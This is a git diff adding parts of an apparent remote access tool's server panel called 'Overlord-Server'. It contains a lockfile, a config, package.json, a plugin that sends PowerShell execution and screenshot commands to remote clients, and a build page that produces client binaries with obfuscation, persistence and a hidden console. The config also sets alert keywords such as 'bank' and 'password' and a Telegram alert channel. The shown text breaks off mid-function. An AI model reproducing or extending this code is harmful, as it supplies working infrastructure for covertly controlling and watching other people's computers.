+ "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.30.2", "", { "os": "linux", "cpu": "x64" }, "sha512-XJaLUUFXb6/QG2lGIW6aIk6jKdtjtcffUT0NKvIqhSBY3hh9Ch+1LCeH80dR9q9LBjG3ewbDjnumefsLsP6aiA=="],
+
+ "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.30.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-FZn+vaj7zLv//D/192WFFVA0RgHawIcHqLX9xuWiQt7P0PtdFEVaxgF9rjM/IRYHQXNnk61/H/gb2Ei+kUQ4xQ=="],
+
+ "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.30.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5g1yc73p+iAkid5phb4oVFMB45417DkRevRbt/El/gKXJk4jid+vPFF/AXbxn05Aky8PapwzZrdJShv5C0avjw=="],
+
+ "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+
+ "logform": ["logform@2.7.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ=="],
+
+ "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
+
+ "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
+ "mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="],
+
+ "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
+
+ "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
+
+ "node-addon-api": ["node-addon-api@7.1.1", "", {}, "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="],
+
+ "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="],
+
+ "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="],
+
+ "one-time": ["one-time@1.0.0", "", { "dependencies": { "fn.name": "1.x.x" } }, "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g=="],
+
+ "path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="],
+
+ "pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="],
+
+ "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
+
+ "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="],
+
+ "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="],
+
+ "postcss-value-parser": ["postcss-value-parser@4.2.0", "", {}, "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="],
+
+ "readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
+
+ "rimraf": ["rimraf@2.7.1", "", { "dependencies": { "glob": "^7.1.3" }, "bin": { "rimraf": "./bin.js" } }, "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w=="],
+
+ "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
+
+ "safe-stable-stringify": ["safe-stable-stringify@2.5.0", "", {}, "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA=="],
+
+ "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="],
+
+ "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="],
+
+ "sprintf-js": ["sprintf-js@1.1.2", "", {}, "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug=="],
+
+ "stack-trace": ["stack-trace@0.0.10", "", {}, "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg=="],
+
+ "string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="],
+
+ "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
+
+ "tailwindcss": ["tailwindcss@4.1.18", "", {}, "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw=="],
+
+ "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="],
+
+ "text-hex": ["text-hex@1.0.0", "", {}, "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg=="],
+
+ "triple-beam": ["triple-beam@1.4.1", "", {}, "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg=="],
+
+ "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
+
+ "undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="],
+
+ "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
+
+ "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="],
+
+ "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
+
+ "winston": ["winston@3.19.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.8", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.7.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.9.0" } }, "sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA=="],
+
+ "winston-transport": ["winston-transport@4.9.0", "", { "dependencies": { "logform": "^2.7.0", "readable-stream": "^3.6.2", "triple-beam": "^1.3.0" } }, "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A=="],
+
+ "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="],
+
+ "yauzl": ["yauzl@2.10.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.8.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.1.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.8.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.1", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@tybys/wasm-util": "^0.10.1" }, "bundled": true }, "sha512-p64ah1M1ld8xjWv3qbvFwHiFVWrq1yFvV4f7w+mzaqiR4IlSgkqhcRdHwsGgomwzBH51sRY4NEowLxnaBjcW/A=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "color/color-convert": ["color-convert@3.1.3", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg=="],
+
+ "color-string/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="],
+
+ "winston/async": ["async@3.2.6", "", {}, "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA=="],
+
+ "color/color-convert/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="],
+ }
+}
diff --git a/Overlord-Server/config.json.example b/Overlord-Server/config.json.example
new file mode 100644
index 0000000..dbcf4ac
--- /dev/null
+++ b/Overlord-Server/config.json.example
@@ -0,0 +1,28 @@
+{
+ "auth": {
+ "username": "admin",
+ "password": "admin",
+ "jwtSecret": "change-this-secret-in-production"
+ },
+ "server": {
+ "port": 5173,
+ "host": "0.0.0.0"
+ },
+ "tls": {
+ "certPath": "./certs/server.crt",
+ "keyPath": "./certs/server.key",
+ "caPath": ""
+ },
+ "notifications": {
+ "keywords": ["bank", "password", "admin"],
+ "minIntervalMs": 8000,
+ "spamWindowMs": 60000,
+ "spamWarnThreshold": 5,
+ "historyLimit": 200,
+ "webhookEnabled": false,
+ "webhookUrl": "",
+ "telegramEnabled": false,
+ "telegramBotToken": "",
+ "telegramChatId": ""
+ }
+}
diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json
new file mode 100644
index 0000000..3085fca
--- /dev/null
+++ b/Overlord-Server/package.json
@@ -0,0 +1,34 @@
+{
+ "name": "overlord-server",
+ "version": "1.0.0",
+ "private": true,
+ "type": "module",
+ "scripts": {
+ "dev": "bun --watch src/index.ts",
+ "start": "bun run src/index.ts",
+ "build": "bun build --production --minify src/index.ts --target bun --outdir dist",
+ "build:prod:win": "bun build --production --minify src/index.ts --compile --target bun-windows-x64 --outfile dist/overlord-server.exe",
+ "build:prod:linux": "bun build --production --minify src/index.ts --compile --target bun-linux-x64 --outfile dist/overlord-server-linux-x64",
+ "build:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --minify",
+ "watch:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --watch"
+ },
+ "dependencies": {
+ "@msgpack/msgpack": "^3.0.0",
+ "adm-zip": "^0.5.12",
+ "flag-icons": "latest",
+ "geoip-lite": "latest",
+ "jose": "^6.1.3",
+ "uuid": "^9.0.1",
+ "winston": "^3.11.0"
+ },
+ "devDependencies": {
+ "@tailwindcss/cli": "^4.1.18",
+ "@types/bun": "^1.3.8",
+ "@types/geoip-lite": "latest",
+ "@types/uuid": "^9.0.7",
+ "autoprefixer": "^10.4.23",
+ "postcss": "^8.5.6",
+ "tailwindcss": "^4.1.18",
+ "typescript": "^5.6.3"
+ }
+}
diff --git a/Overlord-Server/plugins/sample/assets/sample.html b/Overlord-Server/plugins/sample/assets/sample.html
new file mode 100644
index 0000000..999371b
--- /dev/null
+++ b/Overlord-Server/plugins/sample/assets/sample.html
@@ -0,0 +1,48 @@
+
+
+
+
+
+ Sample Plugin
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/plugins/sample/assets/sample.js b/Overlord-Server/plugins/sample/assets/sample.js
new file mode 100644
index 0000000..a82deb4
--- /dev/null
+++ b/Overlord-Server/plugins/sample/assets/sample.js
@@ -0,0 +1,103 @@
+const params = new URLSearchParams(window.location.search);
+const clientIdInput = document.getElementById("client-id");
+const messageInput = document.getElementById("message");
+const msgBoxInput = document.getElementById("msgbox");
+const logEl = document.getElementById("log");
+const sendBtn = document.getElementById("send-btn");
+const pingBtn = document.getElementById("ping-btn");
+const msgBoxBtn = document.getElementById("msgbox-btn");
+const runCmdBtn = document.getElementById("run-cmd-btn");
+
+const pluginId = "sample";
+const clientIdFromUrl = params.get("clientId") || "";
+clientIdInput.value = clientIdFromUrl;
+messageInput.value = "hello from sample UI";
+msgBoxInput.value = "Hello from Overlord";
+
+function log(line) {
+ const ts = new Date().toISOString();
+ logEl.textContent = `${ts} ${line}\n` + logEl.textContent;
+}
+
+async function sendEvent(event, payload) {
+ const clientId = clientIdInput.value.trim();
+ if (!clientId) {
+ log("Missing clientId");
+ return;
+ }
+ const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/plugins/${pluginId}/event`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ event, payload }),
+ });
+ if (!res.ok) {
+ const text = await res.text();
+ log(`Send failed: ${res.status} ${text}`);
+ return;
+ }
+ log(`Sent event: ${event}`);
+}
+
+sendBtn.addEventListener("click", () => {
+ const message = messageInput.value.trim();
+ sendEvent("ui_message", { message });
+});
+
+pingBtn?.addEventListener("click", async () => {
+ const clientId = clientIdInput.value.trim();
+ if (!clientId) {
+ log("Missing clientId");
+ return;
+ }
+ const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ action: "ping_bulk", count: 100 }),
+ });
+ if (!res.ok) {
+ const msg = await res.text();
+ log(`Ping test failed: ${msg}`);
+ return;
+ }
+ log("Ping test x100 dispatched (single request)");
+});
+
+msgBoxBtn?.addEventListener("click", async () => {
+ const clientId = clientIdInput.value.trim();
+ if (!clientId) {
+ log("Missing clientId");
+ return;
+ }
+ const text = msgBoxInput.value.trim() || "Hello from Overlord";
+ const script = `$os = $env:OS; if ($os -ne 'Windows_NT') { exit } ; Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('${text.replace(/'/g, "''")}') | Out-Null`;
+ const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ action: "script_exec", script, scriptType: "powershell" }),
+ });
+ if (!res.ok) {
+ const msg = await res.text();
+ log(`Message box failed: ${msg}`);
+ return;
+ }
+ log("Message box command sent (Windows only)");
+});
+
+runCmdBtn?.addEventListener("click", async () => {
+ const clientId = clientIdInput.value.trim();
+ if (!clientId) {
+ log("Missing clientId");
+ return;
+ }
+ const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ action: "screenshot" }),
+ });
+ if (!res.ok) {
+ const msg = await res.text();
+ log(`Command failed: ${msg}`);
+ return;
+ }
+ log("Command sent: screenshot");
+});
diff --git a/Overlord-Server/public/assets/ansi.js b/Overlord-Server/public/assets/ansi.js
new file mode 100644
index 0000000..a1d005d
--- /dev/null
+++ b/Overlord-Server/public/assets/ansi.js
@@ -0,0 +1,7 @@
+import AnsiToHtml from "https://cdn.jsdelivr.net/npm/ansi-to-html@0.7.2/+esm";
+
+const converter = new AnsiToHtml({ newline: true, escapeHtml: true });
+
+export function ansiToHtml(input = "") {
+ return converter.toHtml(input);
+}
diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
new file mode 100644
index 0000000..87ea073
--- /dev/null
+++ b/Overlord-Server/public/assets/build.js
@@ -0,0 +1,721 @@
+const form = document.getElementById("build-form");
+const buildBtn = document.getElementById("build-btn");
+const buildStatus = document.getElementById("build-status");
+const buildStatusText = document.getElementById("build-status-text");
+const buildOutputDiv = document.getElementById("build-output");
+const buildOutputContainer = document.getElementById("build-output-container");
+const buildResults = document.getElementById("build-results");
+const buildFilesDiv = document.getElementById("build-files");
+const logoutBtn = document.getElementById("logout-btn");
+const usernameDisplay = document.getElementById("username-display");
+const roleBadge = document.getElementById("role-badge");
+const usersLink = document.getElementById("users-link");
+const buildLink = document.getElementById("build-link");
+const scriptsLink = document.getElementById("scripts-link");
+const pluginsLink = document.getElementById("plugins-link");
+const rawServerListCheckbox = document.getElementById("raw-server-list");
+const serverUrlInput = document.getElementById("server-url");
+
+function getDefaultServerUrlPlaceholder(isRawList) {
+ const isHttps = window.location.protocol === "https:";
+ const host = window.location.host;
+ if (isRawList) {
+ return `${isHttps ? "https" : "http"}://${host}/list.txt`;
+ }
+ return `${isHttps ? "wss" : "ws"}://${host}`;
+}
+
+function updateServerUrlPlaceholder() {
+ if (!serverUrlInput) return;
+ const isRaw = rawServerListCheckbox?.checked ?? false;
+ serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw);
+}
+
+let isBuilding = false;
+
+init();
+
+if (rawServerListCheckbox && serverUrlInput) {
+ rawServerListCheckbox.addEventListener("change", () => {
+ const isRaw = rawServerListCheckbox.checked;
+ const current = serverUrlInput.value.trim();
+
+ if (isRaw) {
+ if (current.startsWith("wss://")) {
+ serverUrlInput.value = "https://" + current.slice("wss://".length);
+ } else if (current.startsWith("ws://")) {
+ serverUrlInput.value = "http://" + current.slice("ws://".length);
+ }
+ serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(true);
+ } else {
+ if (current.startsWith("https://")) {
+ serverUrlInput.value = "wss://" + current.slice("https://".length);
+ } else if (current.startsWith("http://")) {
+ serverUrlInput.value = "ws://" + current.slice("http://".length);
+ }
+ serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false);
+ }
+ });
+}
+
+async function init() {
+ try {
+ updateServerUrlPlaceholder();
+ const res = await fetch("/api/auth/me", {
+ credentials: "include",
+ });
+
+ if (!res.ok) {
+ window.location.href = "/login.html";
+ return;
+ }
+
+ const data = await res.json();
+ usernameDisplay.textContent = data.username;
+
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[data.role]) {
+ roleBadge.innerHTML = roleBadges[data.role];
+ } else {
+ roleBadge.textContent = data.role || "";
+ }
+
+ if (data.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (data.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+ if (data.role === "admin") {
+ usersLink.classList.remove("hidden");
+ pluginsLink?.classList.remove("hidden");
+ document.getElementById("deploy-link")?.classList.remove("hidden");
+ }
+
+ if (data.role === "admin" || data.role === "operator") {
+ buildLink?.classList.remove("hidden");
+ }
+
+ if (data.role !== "viewer") {
+ scriptsLink?.classList.remove("hidden");
+ }
+
+ if (data.role !== "admin" && data.role !== "operator") {
+ buildBtn.disabled = true;
+ buildBtn.innerHTML =
+ ' Build requires admin/operator role ';
+ }
+
+ loadSavedBuilds();
+ } catch (err) {
+ console.error("Failed to fetch user info:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+if (logoutBtn && !logoutBtn.dataset.boundLogout) {
+ logoutBtn.dataset.boundLogout = "true";
+ logoutBtn.addEventListener("click", async () => {
+ try {
+ await fetch("/api/logout", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ });
+ } catch (err) {
+ console.error("Logout error:", err);
+ }
+ window.location.href = "/";
+ });
+}
+
+form?.addEventListener("submit", async (e) => {
+ e.preventDefault();
+
+ if (isBuilding) return;
+
+ const platformCheckboxes = form.querySelectorAll(
+ 'input[name="platform"]:checked',
+ );
+ const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
+
+ if (platforms.length === 0) {
+ alert("Please select at least one platform to build");
+ return;
+ }
+
+ const serverUrl = form.querySelector("#server-url").value.trim();
+ const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
+ const mutex = form.querySelector("#mutex")?.value.trim() || "";
+ const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
+ const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
+ const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
+ const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
+ const enablePersistence = form.querySelector(
+ 'input[name="enable-persistence"]',
+ ).checked;
+ const hideConsole = form.querySelector(
+ 'input[name="hide-console"]',
+ ).checked;
+ const noPrinting = form.querySelector(
+ 'input[name="no-printing"]',
+ ).checked;
+
+ const buildConfig = {
+ platforms,
+ serverUrl: serverUrl || undefined,
+ rawServerList,
+ mutex: disableMutex ? "" : mutex || undefined,
+ disableMutex,
+ stripDebug,
+ disableCgo,
+ obfuscate,
+ enablePersistence,
+ hideConsole,
+ noPrinting,
+ };
+
+ await startBuild(buildConfig);
+});
+
+async function startBuild(config) {
+ isBuilding = true;
+ buildBtn.disabled = true;
+ buildBtn.innerHTML =
+ ' Building... ';
+
+ buildStatus.classList.remove("hidden");
+ buildStatusText.textContent = "Starting build...";
+ buildResults.classList.add("hidden");
+ buildFilesDiv.innerHTML = "";
+
+ buildOutputDiv.innerHTML = "";
+ addBuildOutput("Starting build process...\n", "info");
+
+ try {
+ const res = await fetch("/api/build/start", {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ },
+ credentials: "include",
+ body: JSON.stringify(config),
+ });
+
+ if (!res.ok) {
+ const error = await res.json();
+ throw new Error(error.error || "Build failed to start");
+ }
+
+ const data = await res.json();
+ const buildId = data.buildId;
+
+ addBuildOutput(`Build ID: ${buildId}\n`, "info");
+ addBuildOutput(
+ `Building for platforms: ${config.platforms.join(", ")}\n\n`,
+ "info",
+ );
+
+ await streamBuildOutput(buildId);
+ } catch (err) {
+ addBuildOutput(`\nERROR: ${err.message}\n`, "error");
+ buildStatusText.textContent = "Build failed";
+ buildStatus.querySelector("div").className =
+ "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
+ buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
+ } finally {
+ isBuilding = false;
+ buildBtn.disabled = false;
+ buildBtn.innerHTML =
+ ' Start Build ';
+ }
+}
+
+async function streamBuildOutput(buildId) {
+ const res = await fetch(`/api/build/${buildId}/stream`, {
+ credentials: "include",
+ });
+
+ if (!res.ok) {
+ throw new Error("Failed to connect to build stream");
+ }
+
+ const reader = res.body.getReader();
+ const decoder = new TextDecoder();
+ let buffer = "";
+
+ try {
+ while (true) {
+ const { done, value } = await reader.read();
+
+ if (done) break;
+
+ buffer += decoder.decode(value, { stream: true });
+
+ const lines = buffer.split("\n");
+ buffer = lines.pop();
+
+ for (const line of lines) {
+ if (!line.trim()) continue;
+
+ if (line.startsWith("data: ")) {
+ const data = JSON.parse(line.substring(6));
+
+ if (data.type === "output") {
+ addBuildOutput(data.text, data.level || "info");
+ } else if (data.type === "status") {
+ buildStatusText.textContent = data.text;
+ } else if (data.type === "complete") {
+ buildStatusText.textContent = data.success
+ ? "Build completed successfully!"
+ : "Build failed";
+ buildStatus.querySelector("div").className = data.success
+ ? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60"
+ : "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
+ buildStatus.querySelector("i").className = data.success
